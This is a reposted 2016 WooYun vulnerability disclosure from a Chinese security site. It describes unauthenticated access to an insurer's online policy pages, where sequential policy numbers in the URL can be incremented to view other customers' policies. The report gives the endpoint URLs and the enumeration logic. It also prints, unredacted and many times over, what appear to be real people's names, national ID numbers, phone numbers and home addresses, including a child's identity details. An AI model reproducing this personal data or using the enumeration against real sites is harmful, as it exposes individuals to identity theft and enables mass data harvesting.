神刀安全网

漏洞标题: 华夏人寿某站安全漏洞导致大量用户保单信息泄露(含保单号/投保人/被保人/身份证/联系电话/地址)

漏洞详情

披露状态:

2016-05-03: 细节已通知厂商并且等待厂商处理中
2016-05-04: 厂商已经确认,细节仅向厂商公开
2016-05-14: 细节向核心白帽子及相关领域专家公开
2016-05-24: 细节向普通白帽子公开
2016-06-03: 细节向实习白帽子公开
2016-06-18: 细节向公众公开

简要描述:

华夏人寿某站安全漏洞导致大量用户保单信息泄露(含保单号/投保人/被保人/身份证/联系电话/地址)

详细说明:

http://eservice.hxlife.com/Policy/policyContent.do?policyNo=2015137350421088

漏洞标题:  华夏人寿某站安全漏洞导致大量用户保单信息泄露(含保单号/投保人/被保人/身份证/联系电话/地址)

这里直接未授权访问

code 区域
保单详细信息
保单号 2015137350421088 保单状态 有效
主附险标志 主险 险种名称 华夏财富一号两全保险C款(万能型,升级版)
保险期间 75岁 基本保额 0.00
期交保费 23000.00 已交费期数 1
是否自动续保 非自动续保

code 区域
投保人信息
投保人姓名 徐苑珍 性别 女
证件类型 居民身份证 证件号码 44142719530825032X
出生日期 1953-08-25 联系电话 13431080800
电子邮箱 邮政编码 510600
联系地址 中国广东省广州市白云区人和溪苑B7栋602

code 区域
被保人信息
与投保人关系 本人 被投保人姓名 徐苑珍
性别 女 出生日期 1953-08-25
证件类型 居民身份证 证件号码 44142719530825032X
联系电话 13431080800 电子邮箱
邮政编码 510600 联系地址 中国广东省广州市白云区人和溪苑B7栋602

由于ID未加密,经过分析修改即可查看任意其他人的保单信息

2015137350521088,ID未加密,依次类推逻辑

http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350521088

code 区域
被保人信息
与投保人关系 本人 被投保人姓名 王玉全
性别 男 出生日期 1954-07-14
证件类型 居民身份证 证件号码 41292419540714071X
联系电话 13949375962 电子邮箱
邮政编码 473000 联系地址 中国河南省南阳市卧龙区谢庄乡孙庄村秋树庄22号

code 区域
投保人姓名  王玉全  性别  男
证件类型 居民身份证 证件号码 41292419540714071X
出生日期 1954-07-14 联系电话 13949375962
电子邮箱 邮政编码 473000
联系地址 中国河南省南阳市卧龙区谢庄乡孙庄村秋树庄22号

code 区域
保单号  2015137350521088  保单状态  有效
主附险标志 主险 险种名称 华夏财富一号两全保险C款(万能型,升级版)
保险期间 75岁 基本保额 0.00
期交保费 15000.00 已交费期数 1
是否自动续保 非自动续保

http://eservice.hxlife.com/Policy/policyContent.do?policyNo=2015137350621088

漏洞标题:  华夏人寿某站安全漏洞导致大量用户保单信息泄露(含保单号/投保人/被保人/身份证/联系电话/地址)

code 区域
与投保人关系  女儿  被投保人姓名  左原
性别 女 出生日期 2009-07-15
证件类型 居民户口薄 证件号码 510603200907150989
联系电话 电子邮箱
邮政编码 618000 联系地址 中国四川省德阳市旌阳区南滨佳苑A区2-13-1

code 区域
受益人姓名  左原  性别  女
证件号码 510603200907150989 证件类型 居民户口薄
固定电话 13981091993 出生日期 2009-07-15

code 区域
险种名称  华夏金管家年金保险(万能型,C款)  主副险标识  1
交费类型 首期收 交费方式 银行转账
应交金额 0.00 实交金额 0.00
已交保费次数 1 累计已交保费 10000.00
下次交费日期 下次交费金额 0.00
应交日期 2015-11-20 实交日期 20151120
险种名称 华夏金管家年金保险(万能型,C款) 主副险标识 1
交费类型 首期收 交费方式 银行转账
应交金额 0.00 实交金额 0.00
已交保费次数 1 累计已交保费 10000.00
下次交费日期 下次交费金额 0.00
应交日期 2015-11-20 实交日期 20151120
险种名称 华夏金管家年金保险(万能型,C款) 主副险标识 1
交费类型 首期收 交费方式 银行转账
应交金额 0.00 实交金额 0.00
已交保费次数 1 累计已交保费 15000.00
下次交费日期 2016-11-21 下次交费金额 15000.00
应交日期 2015-11-20 实交日期 20151120
险种名称 华夏金管家年金保险(万能型,C款) 主副险标识 1
交费类型 首期收 交费方式 银行转账
应交金额 0.00 实交金额 0.00
已交保费次数 1 累计已交保费 15000.00
下次交费日期 2016-11-21 下次交费金额 15000.00
应交日期 2015-11-20 实交日期 20151120

code 区域
2015-11-21  0  首期缴费  0.00  0.00  0.00  
2015-11-21 0 生存金转入 4140.00 0.00 4140.00
2015-12-01 0.068 结算利息 7.47 0.00 4147.47
2016-01-01 0.068 结算利息 23.24 0.00 4170.71
2016-01-06 0 追加保费 10000.00 0.00 14170.71
2016-02-01 0.068 结算利息 70.15 0.00 14240.86
2016-03-01 0.068 结算利息 74.43 0.00 14315.29
2016-04-01 0.068 结算利息 79.99 0.00 14395.28

code 区域
投保人信息
投保人姓名 徐苑珍 性别 女
证件类型 居民身份证 证件号码 44142719530825032X
出生日期 1953-08-25 联系电话 13431080800
电子邮箱 邮政编码 510600
联系地址 中国广东省广州市白云区人和溪苑B7栋602

0

code 区域
投保人信息
投保人姓名 徐苑珍 性别 女
证件类型 居民身份证 证件号码 44142719530825032X
出生日期 1953-08-25 联系电话 13431080800
电子邮箱 邮政编码 510600
联系地址 中国广东省广州市白云区人和溪苑B7栋602

1

code 区域
投保人信息
投保人姓名 徐苑珍 性别 女
证件类型 居民身份证 证件号码 44142719530825032X
出生日期 1953-08-25 联系电话 13431080800
电子邮箱 邮政编码 510600
联系地址 中国广东省广州市白云区人和溪苑B7栋602

2

code 区域
投保人信息
投保人姓名 徐苑珍 性别 女
证件类型 居民身份证 证件号码 44142719530825032X
出生日期 1953-08-25 联系电话 13431080800
电子邮箱 邮政编码 510600
联系地址 中国广东省广州市白云区人和溪苑B7栋602

3

http://eservice.hxlife.com/Policy/shouyimanQuery.do?policyNo=2015137350623088

code 区域
投保人信息
投保人姓名 徐苑珍 性别 女
证件类型 居民身份证 证件号码 44142719530825032X
出生日期 1953-08-25 联系电话 13431080800
电子邮箱 邮政编码 510600
联系地址 中国广东省广州市白云区人和溪苑B7栋602

4

code 区域
投保人信息
投保人姓名 徐苑珍 性别 女
证件类型 居民身份证 证件号码 44142719530825032X
出生日期 1953-08-25 联系电话 13431080800
电子邮箱 邮政编码 510600
联系地址 中国广东省广州市白云区人和溪苑B7栋602

5

code 区域
投保人信息
投保人姓名 徐苑珍 性别 女
证件类型 居民身份证 证件号码 44142719530825032X
出生日期 1953-08-25 联系电话 13431080800
电子邮箱 邮政编码 510600
联系地址 中国广东省广州市白云区人和溪苑B7栋602

6

code 区域
投保人信息
投保人姓名 徐苑珍 性别 女
证件类型 居民身份证 证件号码 44142719530825032X
出生日期 1953-08-25 联系电话 13431080800
电子邮箱 邮政编码 510600
联系地址 中国广东省广州市白云区人和溪苑B7栋602

7

code 区域
投保人信息
投保人姓名 徐苑珍 性别 女
证件类型 居民身份证 证件号码 44142719530825032X
出生日期 1953-08-25 联系电话 13431080800
电子邮箱 邮政编码 510600
联系地址 中国广东省广州市白云区人和溪苑B7栋602

8

code 区域
投保人信息
投保人姓名 徐苑珍 性别 女
证件类型 居民身份证 证件号码 44142719530825032X
出生日期 1953-08-25 联系电话 13431080800
电子邮箱 邮政编码 510600
联系地址 中国广东省广州市白云区人和溪苑B7栋602

9

http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350624+1逻辑查询上万用户订单088

漏洞证明:

code 区域
被保人信息
与投保人关系 本人 被投保人姓名 徐苑珍
性别 女 出生日期 1953-08-25
证件类型 居民身份证 证件号码 44142719530825032X
联系电话 13431080800 电子邮箱
邮政编码 510600 联系地址 中国广东省广州市白云区人和溪苑B7栋602

0

code 区域
被保人信息
与投保人关系 本人 被投保人姓名 徐苑珍
性别 女 出生日期 1953-08-25
证件类型 居民身份证 证件号码 44142719530825032X
联系电话 13431080800 电子邮箱
邮政编码 510600 联系地址 中国广东省广州市白云区人和溪苑B7栋602

1

code 区域
被保人信息
与投保人关系 本人 被投保人姓名 徐苑珍
性别 女 出生日期 1953-08-25
证件类型 居民身份证 证件号码 44142719530825032X
联系电话 13431080800 电子邮箱
邮政编码 510600 联系地址 中国广东省广州市白云区人和溪苑B7栋602

2

code 区域
被保人信息
与投保人关系 本人 被投保人姓名 徐苑珍
性别 女 出生日期 1953-08-25
证件类型 居民身份证 证件号码 44142719530825032X
联系电话 13431080800 电子邮箱
邮政编码 510600 联系地址 中国广东省广州市白云区人和溪苑B7栋602

3

code 区域
被保人信息
与投保人关系 本人 被投保人姓名 徐苑珍
性别 女 出生日期 1953-08-25
证件类型 居民身份证 证件号码 44142719530825032X
联系电话 13431080800 电子邮箱
邮政编码 510600 联系地址 中国广东省广州市白云区人和溪苑B7栋602

4

code 区域
被保人信息
与投保人关系 本人 被投保人姓名 徐苑珍
性别 女 出生日期 1953-08-25
证件类型 居民身份证 证件号码 44142719530825032X
联系电话 13431080800 电子邮箱
邮政编码 510600 联系地址 中国广东省广州市白云区人和溪苑B7栋602

5

code 区域
被保人信息
与投保人关系 本人 被投保人姓名 徐苑珍
性别 女 出生日期 1953-08-25
证件类型 居民身份证 证件号码 44142719530825032X
联系电话 13431080800 电子邮箱
邮政编码 510600 联系地址 中国广东省广州市白云区人和溪苑B7栋602

6

code 区域
被保人信息
与投保人关系 本人 被投保人姓名 徐苑珍
性别 女 出生日期 1953-08-25
证件类型 居民身份证 证件号码 44142719530825032X
联系电话 13431080800 电子邮箱
邮政编码 510600 联系地址 中国广东省广州市白云区人和溪苑B7栋602

7

修复方案:

版权声明:转载请注明来源 0x 80@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 华夏人寿某站安全漏洞导致大量用户保单信息泄露(含保单号/投保人/被保人/身份证/联系电话/地址)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址